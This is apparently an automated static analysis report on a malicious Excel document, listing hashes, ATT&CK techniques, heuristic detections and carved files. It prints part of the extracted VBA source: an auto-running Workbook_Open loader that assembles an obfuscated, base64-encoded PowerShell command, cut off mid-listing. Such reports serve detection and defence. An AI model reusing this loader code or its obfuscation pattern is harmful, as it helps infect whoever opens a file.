Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 ae8b5d704fb6d476…

MALICIOUS

Office (OOXML)

21.0 KB Created: 2020-05-14 05:55:15 UTC Authoring application: Microsoft Excel 15.0300 First seen: 2020-09-07
MD5: 91c99947b416fea83a52cbf483db6756 SHA-1: 1053767252716785118eb3aa878ee8353d219ce3 SHA-256: ae8b5d704fb6d476e419e655ebacb3c5c7b9cff2cb61846e7136b805557c2ea9
202 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment T1027 Obfuscated Files or Information

This malicious Excel document contains an obfuscated VBA macro that executes automatically upon opening. The macro utilizes CreateObject and appears to be designed to decode and execute a second-stage payload, likely leveraging the Workbook_Open event for initial execution. The specific payload and its ultimate destination could not be fully determined due to the obfuscation and truncation of the script.

Heuristics 6

  • VBA project inside OOXML medium 4 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • Obfuscated auto-exec VBA loader critical OLE_VBA_OBFUSCATED_AUTOEXEC_LOADER
    Auto-exec VBA reconstructs strings with a heavy custom decoder (numeric char-array, repeated hex-string decode, or junk-token Replace removal) and feeds them to a COM-instantiation or execution sink. This obfuscated-loader shape keeps CreateObject/Shell/URL indicators out of the macro source.
  • Workbook_Open macro high OLE_VBA_WBOPEN
    Workbook_Open macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 9667 bytes
SHA-256: fc3c26d850d9d45552c91a28471cf62b916b629d805012528f1d5587364700f2
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 12 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Private Sub workbook_open()
'fdgsdgdfgsdgfghd
uxn4vUUgtbe9BK.RRZXNV27DdSYwczjqrWRv4KB
'fgdjhfdshgufdshg

End Sub

Attribute VB_Name = "Sheet1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "uxn4vUUgtbe9BK"
Sub RRZXNV27DdSYwczjqrWRv4KB()
On Error Resume Next
Gv = wq(105) & wq(115) & wq(106) & wq(38) & wq(53) & wq(105) & wq(38) & wq(86) & wq(85) & wq(100) & wq(93) & wq(100) & wq(75) & wq(120) & wq(121) & wq(100) & wq(78) & wq(75) & wq(100) & wq(114) & wq(82) & wq(38) & wq(51) & wq(107) & wq(38)
Gv = Gv & "WwBzAFkAUwB0AGUAbQAuAFQARQBYAFQALgBFAG4AYwBvAGQASQBuAEcAXQA6ADoAVQBuAEkAYwBPAEQARQAuAGcAZQBUAFMAdABSAGkATgBHACgAWwBzAFkAUwB0AGUAbQAuAEMATwBOAHYARQBSAHQAXQA6ADoAZgByAE8AbQBCAGEAUwBlADYANABzAHQAcgBJAE4ARwAoACIAZABBAEIAeQBBAEgAawBBAGUAdwBCAG0AQQBHADgAQQBjAGcAQQBnAEEAQwBnAEEASgBBAEIAcABBAEQAMABBAE0AUQBBADcAQQBDAEEAQQBKAEEAQgBwAEEAQwBBAEEATABRAEIAcwBBAEcAVQBBAEkAQQBBAHgAQQBEAEEAQQBNAEEAQQB3AEEARABBAEEATwB3AEEAZwBBAEMAUQBBAGEAUQBBAHIAQQBDAHMAQQBLAFEAQQBnAEEASABzAEEASgBBAEIAcABBAEMAdwBBAEkAZwBCAGcAQQBHADQAQQBJAGcAQgA5AEEASAAwAEEARABRAEEASwBBAEcATQBBAFkAUQBCADAAQQBHAE0AQQBhAEEAQgA3AEEASAAwAEEARABRAEEASwBBAEcAW"
Gv = Gv & "QBBAGQAUQBCAHUAQQBHAE0AQQBkAEEAQgBwAEEARwA4AEEAYgBnAEEAZwBBAEUAOABBAE4AdwBCAGgAQQBHAHcAQQBZAHcAQgBEAEEARQB3AEEAYwBRAEEAegBBAEUAawBBAFIAUQBCAFIAQQBEAFUAQQBTAEEAQgBwAEEARQA0AEEAUQB3AEIAVgBBAEcAYwBBAGUAZwBCAFcAQQBGAGMAQQBZAGcAQgBRAEEARQBvAEEAUQB3AEIATABBAEcANABBAGEAUQBCAGsAQQBGAFkAQQBRAHcAQgB4AEEARgA4AEEAYwBRAEIAQwBBAEQAVQBBAGIAUQBCAGYAQQBFAG8AQQBNAHcAQgB6AEEARwBnAEEAYwBBAEIATQBBAEUATQBBAFkAZwBCAFMAQQBFAFEAQQBhAEEAQgBoAEEARABZAEEAYgBnAEIAbwBBAEgAbwBBAE0AUQBCAGwAQQBFAG8AQQBXAGcAQgBaAEEARABFAEEAYQBRAEIARwBBAEYAbwBBAGQAdwBCAEQAQQBHAHcAQQBTAFEAQgBqAEEARwBjAEEAVQBnAEIAYQBBAEYAVQBBAFYAUQBBADMAQQBHADQAQQBlAEEAQg"
Gv = Gv & "AyAEEARQBRAEEAUgB3AEIAcwBBAEQASQBBAGEAZwBCAEIAQQBFAEkAQQBXAGcAQgBaAEEARQBjAEEATgBBAEIANABBAEcAYwBBAFgAdwBCAE0AQQBHAHMAQQBVAHcAQgBVAEEARwB3AEEAUgB3AEIANgBBAEMAQQBBAEsAQQBBAGcAQQBDAFEAQQBTAEEAQgBpAEEARgBFAEEAZQBRAEIAbwBBAEUANABBAFEAUQBCAHIAQQBGAEUAQQBhAGcAQgBOAEEARQBNAEEAYwB3AEEAZwBBAEMAdwBBAEkAQQBBAGsAQQBFAFkAQQBVAGcAQgAzAEEARABnAEEATwBRAEIAZgBBAEYAZwBBAFcAQQBCAHYAQQBHAE0AQQBUAHcAQgB1AEEAQwBBAEEASwBRAEIANwBBAEMAQQBBAGEAUQBCAHQAQQBGAEEAQQBUAHcAQgBTAEEARgBRAEEATABRAEIATgBBAEUAOABBAFIAQQBCADEAQQBFAHcAQQBSAFEAQQBnAEEARQBJAEEAUwBRAEIAMABBAEgATQBBAFYAQQBCAFMAQQBFAEUAQQBUAGcAQgBUAEEARQBZAEEAWgBRAEIAUwBBAEQAcwB"
Gv = Gv & "BAEQAUQBBAEsAQQBIAE0AQQBWAEEAQgBCAEEARgBJAEEAZABBAEEAdABBAEcASQBBAFMAUQBCAFUAQQBGAE0AQQBkAEEAQgBTAEEARwBFAEEAVABnAEIAVABBAEUAWQBBAFoAUQBCAHkAQQBDAEEAQQBMAFEAQgBUAEEARQA4AEEAVgBRAEIAUwBBAEUATQBBAFIAUQBBAGcAQQBDAFEAQQBTAEEAQgBpAEEARgBFAEEAZQBRAEIAbwBBAEUANABBAFEAUQBCAHIAQQBGAEUAQQBhAGcAQgBOAEEARQBNAEEAYwB3AEEAZwBBAEMAMABBAFIAQQBCAGwAQQBIAE0AQQBWAEEAQgBKAEEARQA0AEEAWQBRAEIAMABBAEcAawBBAFQAdwBCAHUAQQBDAEEAQQBKAEEAQgBHAEEARgBJAEEAZAB3AEEANABBAEQAawBBAFgAdwBCAFkAQQBGAGcAQQBiAHcAQgBqAEEARQA4AEEAYgBnAEEANwBBAEMAQQBBAEoAZwBBAGcAQQBDAFEAQQBSAGcAQgBTAEEASABjAEEATwBBAEEANQBBAEYAOABBAFcAQQBCAFkAQQBHADgAQQBZAHcAQgBQ"
Gv = Gv & "AEEARwA0AEEATwB3AEEAZwBBAEgAMABBAGQAQQBCAHkAQQBIAGsAQQBlAHcAQQBOAEEAQQBvAEEARABRAEEASwBBAEMAUQBBAGIAQQBCADMAQQBEAFkAQQBSAGcAQgBzAEEASABrAEEAUQBRAEIAYQBBAEYAbwBBAFcAZwBCAEIAQQBHAGsAQQBNAFEAQgA0AEEARgBZAEEATQBnAEEAMQBBAEQAWQBBAFAAUQBBAGsAQQBFAFUAQQBUAGcAQgAyAEEARABvAEEAUQBRAEIAUQBBAEYAQQBBAFIAQQBCAGgAQQBIAFEAQQBZAFEAQQByAEEAQwBjAEEAWABBAEIAWABBAEUANABBAFkAdwBCAE8AQQBFAFUAQQBXAEEAQgBpAEEASABrAEEAVQBnAEIAVgBBAEYAYwBBAFkAZwBCAHQAQQBIAFUAQQBaAFEAQgBSAEEARQBrAEEAVwBRAEIATQBBAEMANABBAFoAUQBCADQAQQBHAFUAQQBKAHcAQQA3AEEAQQAwAEEAQwBnAEIAUAB
... (truncated)
vbaProject_00.bin vba-project OOXML VBA project: xl/vbaProject.bin 28160 bytes
SHA-256: 17fcd2dfcfb0a6a190d9e812a2207e9bb447942cb7287fc3d7eb450cafa7863d
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 12 long base64-like blob(s).

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